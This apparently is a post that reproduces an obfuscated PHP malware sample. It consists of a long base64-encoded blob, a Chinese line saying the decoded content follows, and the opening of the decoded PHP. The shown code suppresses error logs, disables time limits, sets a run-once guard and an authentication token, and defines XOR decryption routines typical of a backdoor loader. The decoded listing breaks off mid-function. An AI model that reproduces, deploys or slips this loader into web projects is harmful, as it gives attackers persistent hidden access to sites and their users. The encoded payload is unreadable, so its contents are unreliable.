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GMBE+PyFmN0YUPRUAGGllZVRyIggnHCdRRwIfSSBpVFdkHk4YJUgAOjshVDl3d1V1MQNoHUQ4YktmGjBDP20NLkRFbRZgRSUyBmdkQjdDa0I/FT1aMiRIG2kbaEFgfU9wLF0zaSocWSdmYTwwdHlGA38JBkBoMU9pYRRnF31DaxMzCjM3MkQLVWduSjR2bDM2WmczETIXY0QxEWhfY3UbTG0cMERjeXM3LjkdGnEgKyVvZmsNbw9WBWIMJSldJBgzEBM/En5HZHgFfDMVNEclb31tAh9mNk4iNBZmFDVbQy1AFjBaNkdjEHsQajl2e2lATTlXTklrP2dEAS8DdSpeJ0AiFDUVPg5OZB8aSG9LUmtnGj5JWTl3SGRVNBM8bhl4RRE+EWBCN0ZjFWofPWBIJycQPUQyC2FGNBV9I31aIEEzETERK3EQPSQjQxx7b1hXOQNAG30kWjdmcVNkJkwDYXdIEBYXam8yBmdkQjdDa0I/FT1aMnAoXjw9G38WWjIRMBIteQJkOSpqan0/DCVkIXggOHZrO3o8bnEXIz1nI30mfn89byQBJHkjITMiPD52Q3AudydhdT89cxY+KyZyMThrPyUTPCgic2Fpbzlyb3EndypjJGg5cEBzLidwNH12aXFZc2AiejZwcTx0cyU4Jy46dm0+cm5wKnNwanY+P3J2dC08I0N1a3dybnYpOn9FL2knJmAmeHAiEX9vbCMQJy1zfUdzOmM5ZnJ4JzxHJjk1axgnL3Y7RiA6OnI+I3cgJRIoamwgRSd9cHwGdD4wdU1yICInBnc9OHc2I39wIEwmaT5wKSd/dXAaJ2w9IXc9cXUkGTlqNyVrbywldUtoaz0nOHd+IHsac2prIzchdiQqHishaHBfczdxflZ2Ij1wVnA4IXcEJ29pcBIjKiEoAixtaSVldSU8dANxbHEhanItb39Vdj52JAYkKiMiVSdsNnBjcCxydVUkaWc+dSF5IzgAJj9sPH0leHRpCyBoYnFbcCF3JA0gajtzNSB7I30RcGswcwolcSBwLSVuOCV5ICUjdjMnaDZwSHR7cnZhJmg5dDk7KCJ1M25oZXZPPXQmLzA+PDwmFncpc381dTlqJ3Z0diJzYXojP3IBIDcjJm0scWsnd3EwISBvI2hvIxwnLnQoPHU6OCcLd3dvdGkpbytyfCUsbndtIW1yIzh3KycmOCdqbydqcntwJz4kOz89bHIvdDk5Lj87b3MifidoJyQ9Ync4J3B1cydyOTshbCMhcCtvcWo4c3d2dSd2bSRqPHB8Jnx0JydwamQjbyYjcSwkcD84dV87f3FxJmg7ZHJNaHQgdnVvPmskMiQpIScoL2o8cGV1fiIkLH4kOSEEJDN2Jnh1JjolBnNnaQ0wKjdneCckbiV2P2EkKCh/YSAzJCB7fGhpNWY8JWU1cC40I2JzIiBvIWU+dXp+aXM4fA==


解码之后是下面的内容:
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);

if(!defined("PHP_EOL"))
{
    define("PHP_EOL", "\n");
}

if(!defined("DIRECTORY_SEPARATOR"))
{
    define("DIRECTORY_SEPARATOR", "/");
}

if (!defined('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18'))
{
    define('ALREADY_RUN_144c87cf623ba82aafi68riab16atio18', 1);

    $data = NULL;
    $data_key = NULL;

    $GLOBALS['cs_auth'] = 'f31c3518-e47e-4833-a105-01bea369f066';
    global $cs_auth;

    if (!function_exists('file_put_contents'))
    {
        function file_put_contents($n, $d, $flag = False)
        {
            $mode = $flag == 8 ? 'a' : 'w';
            $f = @fopen($n, $mode);
            if ($f === False)
            {
                return 0;
            }
            else
            {
                if (is_array($d)) $d = implode($d);
                $bytes_written = fwrite($f, $d);
                fclose($f);
                return $bytes_written;
            }
        }
    }

    if (!function_exists('file_get_contents'))
    {
        function file_get_contents($filename)
        {
            $fhandle = fopen($filename, "r");
            $fcontents = fread($fhandle, filesize($filename));
            fclose($fhandle);

            return $fcontents;
        }
    }
    function cs_get_current_filepath()
    {
        return trim(preg_replace("/\(.*\$/", '', __FILE__));
    }

    function cs_decrypt_phase($data, $key)
    {
        $out_data = "";

        for ($i=0; $i<strlen($data);)
        {
            for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)
            {
                $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
            }
        }

        return $out_data;
    }

    function cs_decrypt($data, $key)
    {
